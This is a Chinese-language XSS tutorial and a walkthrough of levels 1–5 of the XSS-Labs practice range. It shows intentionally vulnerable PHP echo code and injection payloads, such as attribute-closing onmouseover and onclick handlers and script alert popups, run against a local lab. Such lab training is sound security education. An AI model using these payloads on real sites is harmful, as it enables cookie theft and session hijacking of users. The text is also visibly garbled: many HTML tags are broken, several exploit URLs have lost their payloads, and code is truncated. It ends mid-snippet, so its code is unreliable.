XSS(Cross-site Scripting),中文名跨站脚本攻击。其原理是攻击者利用浏览器执行前端代码(HTML、CSS、JavaScript)的特性,将恶意的JavaScript代码插入到页面中,当用户浏览页面时,导致恶意代码被执行。
document.cookie
,如果是管理员更加要命)当用户访问了带有恶意JavaScript代码的链接时,后端接收并处理了数据,随后将其发送至前端。浏览器解析了JavaScript代码后造成XSS漏洞。
举例:
<body>
<form action="" method="get">
Enter your advise to us:<br>
<textarea name="mess" rols="80" cows="100"></textarea>
<br><input type="submit" name="submit" value="Send">
</form>
</body>
<?php
$message=$_GET['mess'];
echo($message);
?>
构造恶意链接如下:
http://127.0.0.1/xss.php?mess=&submit=Send
当攻击者提交了一段恶意代码,这段代码被存储进了数据库。当用户访问某一含有恶意代码输出点的页面时,浏览器就会解析恶意代码,造成存储型XSS。
例如:网站的评论、弹幕、建议栏、博客发布界面等会和数据库交互的功能是重灾区。
DOM(Document Object Model),中文名文档对象模型,可以用于代表整个HTML文档中的元素。使用DOM可以轻松地重构整个HTML文档的内容。
在网页中构造JavaScript DOM代码可以改写前端页面导致XSS攻击。
例如:
<head>
<script>
function join() {
var text1=document.getElementById("text").value;
document.getElementById("res").innerHTML="Show result";
}
script>
head>
<body>
Enter a word: <input id="text" type="text" name="text" value><br>
<input type="button" value="Click" onclick="join();">
<div id="res">div>
body>
html>
该网页的作用为输入一个URL,并通过document.getElementById(“res”).innerHTML
方法拼接一个a标签显示在网页中。这时我们可以构造属性闭合,添加onclick属性成为一个新标签完成攻击。
EXP:’ onclick=“alert(/xss/);”>
XSS-Labs是一个使用PHP、JavaScript和HTML编写的闯关式靶场,利用该靶场可以练习并掌握XSS漏洞的原理和绕过方法。
点击此处下载靶场
安装环境:PHPStudy,PHP版本推荐5.2.17。将压缩包解压至WWW目录下即可。
解析:第一关URL中接受一个参数name,然后原封不动的将该参数回显至页面上。直接将name参数值改为弹框代码即可。
EXP:http://127.0.0.1/xss-labs/level1.php?name=
成功。
解析:首先输入EXP进行探测,发现内容被原封不动地显示了出来而没有弹框。查看页面源代码,发现标题中的恶意代码大小于号被转义,但显示在输入框的恶意代码完好。对input标签进行闭合,随后重写script标签。
......
<h1 align=center>欢迎来到level2h1>
<h2 align=center>没有找到和<script>alert(/xss/);</script>相关的结果.h2><center>
<form action=level2.php method=GET>
<input name=keyword value="">
<input type=submit name=submit value="搜索"/>
form>
center><center><img src=level2.png>center>
<h3 align=center>payload的长度:30h3>body>
html>
EXP:http://127.0.0.1/xss-labs/level2.php?keyword=">
查看后端代码,发现使用htmlspecialchars()
方法对标题中的HTML字符进行转义。
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "没有找到和"
.htmlspecialchars($str)."相关的结果.".'
$str.'">
';
?>
完成。
解析:首先使用EXP进行探测,发现无效。查看页面源代码,发现标题和输入框中的恶意代码大小于号均被转义,猜测标题和输入框都使用了htmlspecialchars()
进行转义。此时标签无法使用,但我们可以使用HTML事件进行弹框。
<body>
<h1 align=center>欢迎来到level3h1>
<h2 align=center>没有找到和<script>alert(1);</script>相关的结果.h2><center>
<form action=level3.php method=GET>
<input name=keyword value='<script>alert(1);</script>'>
<input type=submit name=submit value=搜索 />
form>
center><center><img src=level3.png>center>
<h3 align=center>payload的长度:26h3>body>
HTML 事件可以是浏览器或用户做的某些事情。
下面是 HTML 事件的一些例子:
HTML 网页完成加载
HTML 输入字段被修改
HTML 按钮被点击
通常,当事件发生时,用户会希望做某件事。JavaScript 允许您在事件被侦测到时执行代码。通过 JavaScript 代码,HTML 允许您向 HTML 元素添加事件处理程序。
---- 引自W3School
常见的HTML事件:
事件名称 | 说明 |
---|---|
onclick | 当HTML元素被点击 |
onmouseover | 当鼠标移动到HTML元素上 |
onmouseout | 当鼠标从HTML元素上移开 |
onkeydown | 当键盘按键被按下 |
onkeyup | 当键盘按键被松开 |
onload | 当浏览器完成页面加载 |
本关使用onmouseover
事件,当鼠标移到输入框上时进行弹框。对value属性进行闭合。
EXP:http://127.0.0.1/xss-labs/level3.php?keyword=’ onmouseover=javascript:alert(1);//
注:’ 闭合value标签,onmouseover事件触发弹窗,//注释最后一个单引号。
查看后端代码,使用htmlspecialchars()
对标题和输入框中的HTML字符进行转义。
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "没有找到和"
.htmlspecialchars($str)."相关的结果."."
";
?>
完成。
解析:使用EXP进行探测,发现删除了大小引号,无法使用标签。同理,使用HTML事件绕过。
<h2 align=center>没有找到和<script>alert(1)</script>相关的结果.h2><center>
<form action=level4.php method=GET>
<input name=keyword value="scriptalert(1)/script">
<input type=submit name=submit value=搜索 />
form>
EXP:http://127.0.0.1/xss-labs/level4.php?keyword=" onmouseover=javascript:alert(1);//
查看后端代码,使用str_replace()
将大小于号替换为空字符串。
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "没有找到和"
.htmlspecialchars($str)."相关的结果.".'
$str3.'">
';
?>
完成。
解析:使用EXP进行探测,发现搜索框中的script标签被插入了一条下划线破坏。盲猜后端检测并破坏了script标签,闭合input标签并新建a标签试试。
EXP:http://127.0.0.1/xss-labs/level5.php?keyword=">xss
查看后端代码,可以发现它同时破坏了script标签和HTML事件。。。。。。
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("